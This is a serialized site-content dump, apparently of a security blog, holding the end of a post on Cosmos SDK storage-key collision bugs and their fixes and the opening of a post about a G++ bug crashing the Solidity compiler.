29,"value":94280},"]))\n",{"type":24,"tag":147,"props":94282,"children":94283},{"class":149,"line":317},[94284,94288,94292,94296,94300,94305,94309,94314,94318,94322,94326,94330,94334,94338],{"type":24,"tag":147,"props":94285,"children":94286},{"style":247},[94287],{"type":29,"value":33349},{"type":24,"tag":147,"props":94289,"children":94290},{"style":235},[94291],{"type":29,"value":546},{"type":24,"tag":147,"props":94293,"children":94294},{"style":247},[94295],{"type":29,"value":54019},{"type":24,"tag":147,"props":94297,"children":94298},{"style":241},[94299],{"type":29,"value":82000},{"type":24,"tag":147,"props":94301,"children":94302},{"style":247},[94303],{"type":29,"value":94304}," hex",{"type":24,"tag":147,"props":94306,"children":94307},{"style":235},[94308],{"type":29,"value":87},{"type":24,"tag":147,"props":94310,"children":94311},{"style":229},[94312],{"type":29,"value":94313},"Decode",{"type":24,"tag":147,"props":94315,"children":94316},{"style":235},[94317],{"type":29,"value":480},{"type":24,"tag":147,"props":94319,"children":94320},{"style":247},[94321],{"type":29,"value":91054},{"type":24,"tag":147,"props":94323,"children":94324},{"style":235},[94325],{"type":29,"value":546},{"type":24,"tag":147,"props":94327,"children":94328},{"style":247},[94329],{"type":29,"value":94267},{"type":24,"tag":147,"props":94331,"children":94332},{"style":235},[94333],{"type":29,"value":9358},{"type":24,"tag":147,"props":94335,"children":94336},{"style":705},[94337],{"type":29,"value":3173},{"type":24,"tag":147,"props":94339,"children":94340},{"style":235},[94341],{"type":29,"value":61029},{"type":24,"tag":147,"props":94343,"children":94344},{"class":149,"line":332},[94345,94349,94353,94357,94361],{"type":24,"tag":147,"props":94346,"children":94347},{"style":321},[94348],{"type":29,"value":403},{"type":24,"tag":147,"props":94350,"children":94351},{"style":247},[94352],{"type":29,"value":54119},{"type":24,"tag":147,"props":94354,"children":94355},{"style":241},[94356],{"type":29,"value":69968},{"type":24,"tag":147,"props":94358,"children":94359},{"style":218},[94360],{"type":29,"value":87502},{"type":24,"tag":147,"props":94362,"children":94363},{"style":235},[94364],{"type":29,"value":6630},{"type":24,"tag":147,"props":94366,"children":94367},{"class":149,"line":350},[94368,94372,94376,94380],{"type":24,"tag":147,"props":94369,"children":94370},{"style":321},[94371],{"type":29,"value":84660},{"type":24,"tag":147,"props":94373,"children":94374},{"style":218},[94375],{"type":29,"value":87502},{"type":24,"tag":147,"props":94377,"children":94378},{"style":235},[94379],{"type":29,"value":546},{"type":24,"tag":147,"props":94381,"children":94382},{"style":247},[94383],{"type":29,"value":89222},{"type":24,"tag":147,"props":94385,"children":94386},{"class":149,"line":358},[94387],{"type":24,"tag":147,"props":94388,"children":94389},{"style":235},[94390],{"type":29,"value":441},{"type":24,"tag":147,"props":94392,"children":94393},{"class":149,"line":397},[94394],{"type":24,"tag":147,"props":94395,"children":94396},{"emptyLinePlaceholder":16},[94397],{"type":29,"value":314},{"type":24,"tag":147,"props":94399,"children":94400},{"class":149,"line":421},[94401,94406,94410,94414,94418,94422,94426,94430,94434,94438,94442,94446,94450,94454],{"type":24,"tag":147,"props":94402,"children":94403},{"style":247},[94404],{"type":29,"value":94405},"        positionName",{"type":24,"tag":147,"props":94407,"children":94408},{"style":241},[94409],{"type":29,"value":82000},{"type":24,"tag":147,"props":94411,"children":94412},{"style":229},[94413],{"type":29,"value":91147},{"type":24,"tag":147,"props":94415,"children":94416},{"style":235},[94417],{"type":29,"value":94237},{"type":24,"tag":147,"props":94419,"children":94420},{"style":9044},[94421],{"type":29,"value":90348},{"type":24,"tag":147,"props":94423,"children":94424},{"style":235},[94425],{"type":29,"value":546},{"type":24,"tag":147,"props":94427,"children":94428},{"style":247},[94429],{"type":29,"value":91220},{"type":24,"tag":147,"props":94431,"children":94432},{"style":235},[94433],{"type":29,"value":87},{"type":24,"tag":147,"props":94435,"children":94436},{"style":229},[94437],{"type":29,"value":94258},{"type":24,"tag":147,"props":94439,"children":94440},{"style":235},[94441],{"type":29,"value":480},{"type":24,"tag":147,"props":94443,"children":94444},{"style":247},[94445],{"type":29,"value":94267},{"type":24,"tag":147,"props":94447,"children":94448},{"style":235},[94449],{"type":29,"value":9358},{"type":24,"tag":147,"props":94451,"children":94452},{"style":705},[94453],{"type":29,"value":1154},{"type":24,"tag":147,"props":94455,"children":94456},{"style":235},[94457],{"type":29,"value":94280},{"type":24,"tag":147,"props":94459,"children":94460},{"class":149,"line":435},[94461,94465,94469,94473,94477,94481,94485,94489,94493,94497,94501,94505,94509,94513],{"type":24,"tag":147,"props":94462,"children":94463},{"style":247},[94464],{"type":29,"value":33349},{"type":24,"tag":147,"props":94466,"children":94467},{"style":235},[94468],{"type":29,"value":546},{"type":24,"tag":147,"props":94470,"children":94471},{"style":247},[94472],{"type":29,"value":54019},{"type":24,"tag":147,"props":94474,"children":94475},{"style":241},[94476],{"type":29,"value":82000},{"type":24,"tag":147,"props":94478,"children":94479},{"style":247},[94480],{"type":29,"value":94304},{"type":24,"tag":147,"props":94482,"children":94483},{"style":235},[94484],{"type":29,"value":87},{"type":24,"tag":147,"props":94486,"children":94487},{"style":229},[94488],{"type":29,"value":94313},{"type":24,"tag":147,"props":94490,"children":94491},{"style":235},[94492],{"type":29,"value":480},{"type":24,"tag":147,"props":94494,"children":94495},{"style":247},[94496],{"type":29,"value":91323},{"type":24,"tag":147,"props":94498,"children":94499},{"style":235},[94500],{"type":29,"value":546},{"type":24,"tag":147,"props":94502,"children":94503},{"style":247},[94504],{"type":29,"value":94267},{"type":24,"tag":147,"props":94506,"children":94507},{"style":235},[94508],{"type":29,"value":9358},{"type":24,"tag":147,"props":94510,"children":94511},{"style":705},[94512],{"type":29,"value":1154},{"type":24,"tag":147,"props":94514,"children":94515},{"style":235},[94516],{"type":29,"value":61029},{"type":24,"tag":147,"props":94518,"children":94519},{"class":149,"line":444},[94520,94524,94528,94532,94536],{"type":24,"tag":147,"props":94521,"children":94522},{"style":321},[94523],{"type":29,"value":403},{"type":24,"tag":147,"props":94525,"children":94526},{"style":247},[94527],{"type":29,"value":54119},{"type":24,"tag":147,"props":94529,"children":94530},{"style":241},[94531],{"type":29,"value":69968},{"type":24,"tag":147,"props":94533,"children":94534},{"style":218},[94535],{"type":29,"value":87502},{"type":24,"tag":147,"props":94537,"children":94538},{"style":235},[94539],{"type":29,"value":6630},{"type":24,"tag":147,"props":94541,"children":94542},{"class":149,"line":452},[94543,94547,94551,94555],{"type":24,"tag":147,"props":94544,"children":94545},{"style":321},[94546],{"type":29,"value":84660},{"type":24,"tag":147,"props":94548,"children":94549},{"style":218},[94550],{"type":29,"value":87502},{"type":24,"tag":147,"props":94552,"children":94553},{"style":235},[94554],{"type":29,"value":546},{"type":24,"tag":147,"props":94556,"children":94557},{"style":247},[94558],{"type":29,"value":89222},{"type":24,"tag":147,"props":94560,"children":94561},{"class":149,"line":461},[94562],{"type":24,"tag":147,"props":94563,"children":94564},{"style":235},[94565],{"type":29,"value":441},{"type":24,"tag":147,"props":94567,"children":94568},{"class":149,"line":469},[94569],{"type":24,"tag":147,"props":94570,"children":94571},{"emptyLinePlaceholder":16},[94572],{"type":29,"value":314},{"type":24,"tag":147,"props":94574,"children":94575},{"class":149,"line":508},[94576,94580,94584,94588,94592,94596,94601,94605,94609,94614,94618,94622],{"type":24,"tag":147,"props":94577,"children":94578},{"style":321},[94579],{"type":29,"value":403},{"type":24,"tag":147,"props":94581,"children":94582},{"style":247},[94583],{"type":29,"value":68224},{"type":24,"tag":147,"props":94585,"children":94586},{"style":235},[94587],{"type":29,"value":546},{"type":24,"tag":147,"props":94589,"children":94590},{"style":247},[94591],{"type":29,"value":84351},{"type":24,"tag":147,"props":94593,"children":94594},{"style":241},[94595],{"type":29,"value":82000},{"type":24,"tag":147,"props":94597,"children":94598},{"style":247},[94599],{"type":29,"value":94600}," values",{"type":24,"tag":147,"props":94602,"children":94603},{"style":235},[94604],{"type":29,"value":9358},{"type":24,"tag":147,"props":94606,"children":94607},{"style":247},[94608],{"type":29,"value":91054},{"type":24,"tag":147,"props":94610,"children":94611},{"style":235},[94612],{"type":29,"value":94613},"]; ",{"type":24,"tag":147,"props":94615,"children":94616},{"style":241},[94617],{"type":29,"value":413},{"type":24,"tag":147,"props":94619,"children":94620},{"style":247},[94621],{"type":29,"value":84351},{"type":24,"tag":147,"props":94623,"children":94624},{"style":235},[94625],{"type":29,"value":6630},{"type":24,"tag":147,"props":94627,"children":94628},{"class":149,"line":572},[94629,94634,94638,94642,94646,94650,94654,94658,94662,94666,94670],{"type":24,"tag":147,"props":94630,"children":94631},{"style":247},[94632],{"type":29,"value":94633},"            values",{"type":24,"tag":147,"props":94635,"children":94636},{"style":235},[94637],{"type":29,"value":9358},{"type":24,"tag":147,"props":94639,"children":94640},{"style":247},[94641],{"type":29,"value":91054},{"type":24,"tag":147,"props":94643,"children":94644},{"style":235},[94645],{"type":29,"value":14286},{"type":24,"tag":147,"props":94647,"children":94648},{"style":241},[94649],{"type":29,"value":369},{"type":24,"tag":147,"props":94651,"children":94652},{"style":229},[94653],{"type":29,"value":91147},{"type":24,"tag":147,"props":94655,"children":94656},{"style":235},[94657],{"type":29,"value":480},{"type":24,"tag":147,"props":94659,"children":94660},{"style":218},[94661],{"type":29,"value":72684},{"type":24,"tag":147,"props":94663,"children":94664},{"style":235},[94665],{"type":29,"value":9358},{"type":24,"tag":147,"props":94667,"children":94668},{"style":9044},[94669],{"type":29,"value":90752},{"type":24,"tag":147,"props":94671,"children":94672},{"style":235},[94673],{"type":29,"value":61029},{"type":24,"tag":147,"props":94675,"children":94676},{"class":149,"line":591},[94677],{"type":24,"tag":147,"props":94678,"children":94679},{"style":235},[94680],{"type":29,"value":441},{"type":24,"tag":147,"props":94682,"children":94683},{"class":149,"line":632},[94684],{"type":24,"tag":147,"props":94685,"children":94686},{"emptyLinePlaceholder":16},[94687],{"type":29,"value":314},{"type":24,"tag":147,"props":94689,"children":94690},{"class":149,"line":659},[94691,94696,94700,94704,94708,94712,94716,94720,94724],{"type":24,"tag":147,"props":94692,"children":94693},{"style":247},[94694],{"type":29,"value":94695},"        values",{"type":24,"tag":147,"props":94697,"children":94698},{"style":235},[94699],{"type":29,"value":9358},{"type":24,"tag":147,"props":94701,"children":94702},{"style":247},[94703],{"type":29,"value":91054},{"type":24,"tag":147,"props":94705,"children":94706},{"style":235},[94707],{"type":29,"value":54556},{"type":24,"tag":147,"props":94709,"children":94710},{"style":247},[94711],{"type":29,"value":91323},{"type":24,"tag":147,"props":94713,"children":94714},{"style":235},[94715],{"type":29,"value":14286},{"type":24,"tag":147,"props":94717,"children":94718},{"style":241},[94719],{"type":29,"value":369},{"type":24,"tag":147,"props":94721,"children":94722},{"style":247},[94723],{"type":29,"value":13050},{"type":24,"tag":147,"props":94725,"children":94726},{"style":235},[94727],{"type":29,"value":6630},{"type":24,"tag":147,"props":94729,"children":94730},{"class":149,"line":684},[94731,94735,94739,94744,94748,94753],{"type":24,"tag":147,"props":94732,"children":94733},{"style":247},[94734],{"type":29,"value":32552},{"type":24,"tag":147,"props":94736,"children":94737},{"style":235},[94738],{"type":29,"value":20943},{"type":24,"tag":147,"props":94740,"children":94741},{"style":247},[94742],{"type":29,"value":94743},"iterator",{"type":24,"tag":147,"props":94745,"children":94746},{"style":235},[94747],{"type":29,"value":87},{"type":24,"tag":147,"props":94749,"children":94750},{"style":229},[94751],{"type":29,"value":94752},"Value",{"type":24,"tag":147,"props":94754,"children":94755},{"style":235},[94756],{"type":29,"value":9116},{"type":24,"tag":147,"props":94758,"children":94759},{"class":149,"line":715},[94760],{"type":24,"tag":147,"props":94761,"children":94762},{"style":235},[94763],{"type":29,"value":441},{"type":24,"tag":147,"props":94765,"children":94766},{"class":149,"line":744},[94767],{"type":24,"tag":147,"props":94768,"children":94769},{"style":235},[94770],{"type":29,"value":1952},{"type":24,"tag":147,"props":94772,"children":94773},{"class":149,"line":784},[94774,94778],{"type":24,"tag":147,"props":94775,"children":94776},{"style":321},[94777],{"type":29,"value":2597},{"type":24,"tag":147,"props":94779,"children":94780},{"style":247},[94781],{"type":29,"value":94782}," values\n",{"type":24,"tag":147,"props":94784,"children":94785},{"class":149,"line":792},[94786],{"type":24,"tag":147,"props":94787,"children":94788},{"style":235},[94789],{"type":29,"value":827},{"type":24,"tag":25,"props":94791,"children":94792},{},[94793,94795,94801,94802,94808,94810,94815,94817,94822,94824,94829,94831,94837,94839,94845],{"type":29,"value":94794},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":24,"tag":80,"props":94796,"children":94798},{"className":94797},[],[94799],{"type":29,"value":94800},"vaultId = 1",{"type":29,"value":855},{"type":24,"tag":80,"props":94803,"children":94805},{"className":94804},[],[94806],{"type":29,"value":94807},"vaultId = 10",{"type":29,"value":94809}," coexist. If we try to fetch data under ",{"type":24,"tag":80,"props":94811,"children":94813},{"className":94812},[],[94814],{"type":29,"value":94800},{"type":29,"value":94816},", all entries under ",{"type":24,"tag":80,"props":94818,"children":94820},{"className":94819},[],[94821],{"type":29,"value":94807},{"type":29,"value":94823}," will also be returned simply because ",{"type":24,"tag":80,"props":94825,"children":94827},{"className":94826},[],[94828],{"type":29,"value":1154},{"type":29,"value":94830}," is a prefix of ",{"type":24,"tag":80,"props":94832,"children":94834},{"className":94833},[],[94835],{"type":29,"value":94836},"10",{"type":29,"value":94838},". To fix this, we must once again append the ",{"type":24,"tag":80,"props":94840,"children":94842},{"className":94841},[],[94843],{"type":29,"value":94844},"Separator",{"type":29,"value":94846}," to the iterator prefix.",{"type":24,"tag":137,"props":94848,"children":94850},{"code":94849,"language":81748,"meta":7,"className":81749,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[94851],{"type":24,"tag":80,"props":94852,"children":94853},{"__ignoreMap":7},[94854,94881,94893,94946],{"type":24,"tag":147,"props":94855,"children":94856},{"class":149,"line":150},[94857,94861,94865,94869,94873,94877],{"type":24,"tag":147,"props":94858,"children":94859},{"style":247},[94860],{"type":29,"value":9363},{"type":24,"tag":147,"props":94862,"children":94863},{"style":241},[94864],{"type":29,"value":82000},{"type":24,"tag":147,"props":94866,"children":94867},{"style":247},[94868],{"type":29,"value":84225},{"type":24,"tag":147,"props":94870,"children":94871},{"style":235},[94872],{"type":29,"value":87},{"type":24,"tag":147,"props":94874,"children":94875},{"style":229},[94876],{"type":29,"value":94039},{"type":24,"tag":147,"props":94878,"children":94879},{"style":235},[94880],{"type":29,"value":9088},{"type":24,"tag":147,"props":94882,"children":94883},{"class":149,"line":160},[94884,94889],{"type":24,"tag":147,"props":94885,"children":94886},{"style":247},[94887],{"type":29,"value":94888},"    kvStore",{"type":24,"tag":147,"props":94890,"children":94891},{"style":235},[94892],{"type":29,"value":1549},{"type":24,"tag":147,"props":94894,"children":94895},{"class":149,"line":169},[94896,94901,94905,94909,94913,94918,94922,94926,94930,94934,94938,94942],{"type":24,"tag":147,"props":94897,"children":94898},{"style":247},[94899],{"type":29,"value":94900},"    fmt",{"type":24,"tag":147,"props":94902,"children":94903},{"style":235},[94904],{"type":29,"value":87},{"type":24,"tag":147,"props":94906,"children":94907},{"style":229},[94908],{"type":29,"value":90806},{"type":24,"tag":147,"props":94910,"children":94911},{"style":235},[94912],{"type":29,"value":480},{"type":24,"tag":147,"props":94914,"children":94915},{"style":3534},[94916],{"type":29,"value":94917},"\"%s%d%s\"",{"type":24,"tag":147,"props":94919,"children":94920},{"style":235},[94921],{"type":29,"value":546},{"type":24,"tag":147,"props":94923,"children":94924},{"style":247},[94925],{"type":29,"value":94089},{"type":24,"tag":147,"props":94927,"children":94928},{"style":235},[94929],{"type":29,"value":546},{"type":24,"tag":147,"props":94931,"children":94932},{"style":247},[94933],{"type":29,"value":93874},{"type":24,"tag":147,"props":94935,"children":94936},{"style":235},[94937],{"type":29,"value":546},{"type":24,"tag":147,"props":94939,"children":94940},{"style":247},[94941],{"type":29,"value":94205},{"type":24,"tag":147,"props":94943,"children":94944},{"style":235},[94945],{"type":29,"value":12362},{"type":24,"tag":147,"props":94947,"children":94948},{"class":149,"line":178},[94949],{"type":24,"tag":147,"props":94950,"children":94951},{"style":235},[94952],{"type":29,"value":269},{"type":24,"tag":25,"props":94954,"children":94955},{},[94956,94958,94963],{"type":29,"value":94957},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":24,"tag":80,"props":94959,"children":94961},{"className":94960},[],[94962],{"type":29,"value":90560},{"type":29,"value":94964}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":24,"tag":25,"props":94966,"children":94967},{},[94968],{"type":29,"value":94969},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":24,"tag":43,"props":94971,"children":94973},{"id":94972},"real-world-examples-5",[94974],{"type":29,"value":82273},{"type":24,"tag":25,"props":94976,"children":94977},{},[94978,94979,94984,94986,94993,94995,95001],{"type":29,"value":5094},{"type":24,"tag":80,"props":94980,"children":94982},{"className":94981},[],[94983],{"type":29,"value":84046},{"type":29,"value":94985}," previously lacked protection against KVStore ",{"type":24,"tag":2773,"props":94987,"children":94990},{"href":94988,"rel":94989},"https://github.com/cosmos/cosmos-sdk/pull/9363",[2777],[94991],{"type":29,"value":94992},"key collisions",{"type":29,"value":94994},". This prior oversight allowed developers to unintentionally create two ",{"type":24,"tag":80,"props":94996,"children":94998},{"className":94997},[],[94999],{"type":29,"value":95000},"KVStores",{"type":29,"value":95002}," that were not independent of each other.",{"type":24,"tag":25,"props":95004,"children":95005},{},[95006],{"type":24,"tag":2773,"props":95007,"children":95010},{"href":95008,"rel":95009},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[2777],[95011],{"type":29,"value":82323},{"type":24,"tag":137,"props":95013,"children":95015},{"code":95014,"language":81748,"meta":7,"className":81749,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[95016],{"type":24,"tag":80,"props":95017,"children":95018},{"__ignoreMap":7},[95019,95081,95129,95165,95205,95212,95219,95231],{"type":24,"tag":147,"props":95020,"children":95021},{"class":149,"line":150},[95022,95026,95031,95035,95040,95044,95048,95052,95056,95060,95064,95068,95072,95077],{"type":24,"tag":147,"props":95023,"children":95024},{"style":218},[95025],{"type":29,"value":81884},{"type":24,"tag":147,"props":95027,"children":95028},{"style":229},[95029],{"type":29,"value":95030}," NewKVStoreKeys",{"type":24,"tag":147,"props":95032,"children":95033},{"style":235},[95034],{"type":29,"value":480},{"type":24,"tag":147,"props":95036,"children":95037},{"style":247},[95038],{"type":29,"value":95039},"names",{"type":24,"tag":147,"props":95041,"children":95042},{"style":241},[95043],{"type":29,"value":30900},{"type":24,"tag":147,"props":95045,"children":95046},{"style":9044},[95047],{"type":29,"value":35267},{"type":24,"tag":147,"props":95049,"children":95050},{"style":235},[95051],{"type":29,"value":564},{"type":24,"tag":147,"props":95053,"children":95054},{"style":218},[95055],{"type":29,"value":72684},{"type":24,"tag":147,"props":95057,"children":95058},{"style":235},[95059],{"type":29,"value":9358},{"type":24,"tag":147,"props":95061,"children":95062},{"style":9044},[95063],{"type":29,"value":35267},{"type":24,"tag":147,"props":95065,"children":95066},{"style":235},[95067],{"type":29,"value":21023},{"type":24,"tag":147,"props":95069,"children":95070},{"style":241},[95071],{"type":29,"value":244},{"type":24,"tag":147,"props":95073,"children":95074},{"style":9044},[95075],{"type":29,"value":95076},"KVStoreKey",{"type":24,"tag":147,"props":95078,"children":95079},{"style":235},[95080],{"type":29,"value":6630},{"type":24,"tag":147,"props":95082,"children":95083},{"class":149,"line":160},[95084,95089,95093,95097,95101,95105,95109,95113,95117,95121,95125],{"type":24,"tag":147,"props":95085,"children":95086},{"style":247},[95087],{"type":29,"value":95088},"    keys",{"type":24,"tag":147,"props":95090,"children":95091},{"style":241},[95092],{"type":29,"value":82000},{"type":24,"tag":147,"props":95094,"children":95095},{"style":229},[95096],{"type":29,"value":91147},{"type":24,"tag":147,"props":95098,"children":95099},{"style":235},[95100],{"type":29,"value":480},{"type":24,"tag":147,"props":95102,"children":95103},{"style":218},[95104],{"type":29,"value":72684},{"type":24,"tag":147,"props":95106,"children":95107},{"style":235},[95108],{"type":29,"value":9358},{"type":24,"tag":147,"props":95110,"children":95111},{"style":9044},[95112],{"type":29,"value":35267},{"type":24,"tag":147,"props":95114,"children":95115},{"style":235},[95116],{"type":29,"value":21023},{"type":24,"tag":147,"props":95118,"children":95119},{"style":241},[95120],{"type":29,"value":244},{"type":24,"tag":147,"props":95122,"children":95123},{"style":9044},[95124],{"type":29,"value":95076},{"type":24,"tag":147,"props":95126,"children":95127},{"style":235},[95128],{"type":29,"value":269},{"type":24,"tag":147,"props":95130,"children":95131},{"class":149,"line":169},[95132,95136,95140,95144,95148,95152,95156,95161],{"type":24,"tag":147,"props":95133,"children":95134},{"style":321},[95135],{"type":29,"value":324},{"type":24,"tag":147,"props":95137,"children":95138},{"style":247},[95139],{"type":29,"value":8669},{"type":24,"tag":147,"props":95141,"children":95142},{"style":235},[95143],{"type":29,"value":546},{"type":24,"tag":147,"props":95145,"children":95146},{"style":247},[95147],{"type":29,"value":4944},{"type":24,"tag":147,"props":95149,"children":95150},{"style":241},[95151],{"type":29,"value":82000},{"type":24,"tag":147,"props":95153,"children":95154},{"style":321},[95155],{"type":29,"value":82983},{"type":24,"tag":147,"props":95157,"children":95158},{"style":247},[95159],{"type":29,"value":95160}," names",{"type":24,"tag":147,"props":95162,"children":95163},{"style":235},[95164],{"type":29,"value":6630},{"type":24,"tag":147,"props":95166,"children":95167},{"class":149,"line":178},[95168,95172,95176,95180,95184,95188,95193,95197,95201],{"type":24,"tag":147,"props":95169,"children":95170},{"style":247},[95171],{"type":29,"value":30932},{"type":24,"tag":147,"props":95173,"children":95174},{"style":235},[95175],{"type":29,"value":9358},{"type":24,"tag":147,"props":95177,"children":95178},{"style":247},[95179],{"type":29,"value":4944},{"type":24,"tag":147,"props":95181,"children":95182},{"style":235},[95183],{"type":29,"value":14286},{"type":24,"tag":147,"props":95185,"children":95186},{"style":241},[95187],{"type":29,"value":369},{"type":24,"tag":147,"props":95189,"children":95190},{"style":229},[95191],{"type":29,"value":95192}," NewKVStoreKey",{"type":24,"tag":147,"props":95194,"children":95195},{"style":235},[95196],{"type":29,"value":480},{"type":24,"tag":147,"props":95198,"children":95199},{"style":247},[95200],{"type":29,"value":4944},{"type":24,"tag":147,"props":95202,"children":95203},{"style":235},[95204],{"type":29,"value":269},{"type":24,"tag":147,"props":95206,"children":95207},{"class":149,"line":187},[95208],{"type":24,"tag":147,"props":95209,"children":95210},{"style":235},[95211],{"type":29,"value":1952},{"type":24,"tag":147,"props":95213,"children":95214},{"class":149,"line":196},[95215],{"type":24,"tag":147,"props":95216,"children":95217},{"emptyLinePlaceholder":16},[95218],{"type":29,"value":314},{"type":24,"tag":147,"props":95220,"children":95221},{"class":149,"line":205},[95222,95226],{"type":24,"tag":147,"props":95223,"children":95224},{"style":321},[95225],{"type":29,"value":2597},{"type":24,"tag":147,"props":95227,"children":95228},{"style":247},[95229],{"type":29,"value":95230}," keys\n",{"type":24,"tag":147,"props":95232,"children":95233},{"class":149,"line":214},[95234],{"type":24,"tag":147,"props":95235,"children":95236},{"style":235},[95237],{"type":29,"value":827},{"type":24,"tag":25,"props":95239,"children":95240},{},[95241,95243,95248,95250,95255,95257,95262],{"type":29,"value":95242},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":24,"tag":80,"props":95244,"children":95246},{"className":95245},[],[95247],{"type":29,"value":84046},{"type":29,"value":95249}," will refuse to run if any ",{"type":24,"tag":80,"props":95251,"children":95253},{"className":95252},[],[95254],{"type":29,"value":90560},{"type":29,"value":95256}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":24,"tag":80,"props":95258,"children":95260},{"className":95259},[],[95261],{"type":29,"value":90560},{"type":29,"value":95263}," level.",{"type":24,"tag":25,"props":95265,"children":95266},{},[95267,95269,95276],{"type":29,"value":95268},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":24,"tag":2773,"props":95270,"children":95273},{"href":95271,"rel":95272},"https://github.com/cosmos/cosmos-sdk/issues/12661",[2777],[95274],{"type":29,"value":95275},"incorrect iterator behavior",{"type":29,"value":87},{"type":24,"tag":25,"props":95278,"children":95279},{},[95280,95282,95289],{"type":29,"value":95281},"Notably, gradual adoption of the ",{"type":24,"tag":2773,"props":95283,"children":95286},{"href":95284,"rel":95285},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[2777],[95287],{"type":29,"value":95288},"collections",{"type":29,"value":95290}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":24,"tag":32,"props":95292,"children":95293},{"id":8458},[95294],{"type":29,"value":8461},{"type":24,"tag":25,"props":95296,"children":95297},{},[95298],{"type":29,"value":95299},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":24,"tag":25,"props":95301,"children":95302},{},[95303],{"type":29,"value":95304},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":24,"tag":8473,"props":95306,"children":95307},{},[95308],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":95310},[95311,95312,95315,95318,95321,95324,95327,95330],{"id":34617,"depth":160,"text":34620},{"id":81465,"depth":160,"text":81468,"children":95313},[95314],{"id":82270,"depth":169,"text":82273},{"id":82866,"depth":160,"text":82869,"children":95316},[95317],{"id":83515,"depth":169,"text":82273},{"id":84012,"depth":160,"text":84015,"children":95319},[95320],{"id":85312,"depth":169,"text":82273},{"id":86656,"depth":160,"text":86659,"children":95322},[95323],{"id":87194,"depth":169,"text":82273},{"id":88712,"depth":160,"text":88715,"children":95325},[95326],{"id":89592,"depth":169,"text":82273},{"id":90546,"depth":160,"text":90549,"children":95328},[95329],{"id":94972,"depth":169,"text":82273},{"id":8458,"depth":160,"text":8461},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":95335,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":95336,"description":95337,"author":95338,"image":95339,"date":95341,"tags":95342,"isFeatured":16,"onBlogPage":16,"body":95343,"_type":8496,"_id":98052,"_source":8498,"_file":98053,"_stem":98054,"_extension":8501},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":95340,"height":15,"width":15},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[10098,34612],{"type":21,"children":95344,"toc":98036},[95345,95350,95487,95492,95497,95502,95507,95620,95625,95630,95635,95675,95688,95693,95711,95716,95719,95725,95739,95752,95757,95770,95775,95787,95800,95805,95808,95814,95820,95877,95882,95888,95902,95937,95945,95953,95973,95979,95984,96424,96432,96476,96481,96489,96497,96536,96541,96549,96554,96557,96563,96569,96594,96606,96633,96666,96671,96674,96680,96699,97217,97230,97248,97271,97282,97287,97390,97395,97400,97414,97419,97495,97513,97518,97521,97527,97539,97551,97891,97896,97914,97919,97922,97928,97933,97951,97971,97974,97980,97999,98002,98006,98011,98022,98027,98032],{"type":24,"tag":25,"props":95346,"children":95347},{},[95348],{"type":29,"value":95349},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":24,"tag":137,"props":95351,"children":95353},{"code":95352,"language":10098,"meta":7,"className":10099,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[95354],{"type":24,"tag":80,"props":95355,"children":95356},{"__ignoreMap":7},[95357,95365,95383,95390,95407,95449,95473,95480],{"type":24,"tag":147,"props":95358,"children":95359},{"class":149,"line":150},[95360],{"type":24,"tag":147,"props":95361,"children":95362},{"style":154},[95363],{"type":29,"value":95364},"// SPDX-License-Identifier: UNLICENSED\n",{"type":24,"tag":147,"props":95366,"children":95367},{"class":149,"line":160},[95368,95373,95378],{"type":24,"tag":147,"props":95369,"children":95370},{"style":321},[95371],{"type":29,"value":95372},"pragma",{"type":24,"tag":147,"props":95374,"children":95375},{"style":218},[95376],{"type":29,"value":95377}," solidity",{"type":24,"tag":147,"props":95379,"children":95380},{"style":235},[95381],{"type":29,"value":95382}," ^0.8.25;\n",{"type":24,"tag":147,"props":95384,"children":95385},{"class":149,"line":169},[95386],{"type":24,"tag":147,"props":95387,"children":95388},{"emptyLinePlaceholder":16},[95389],{"type":29,"value":314},{"type":24,"tag":147,"props":95391,"children":95392},{"class":149,"line":178},[95393,95398,95403],{"type":24,"tag":147,"props":95394,"children":95395},{"style":218},[95396],{"type":29,"value":95397},"contract",{"type":24,"tag":147,"props":95399,"children":95400},{"style":9044},[95401],{"type":29,"value":95402}," 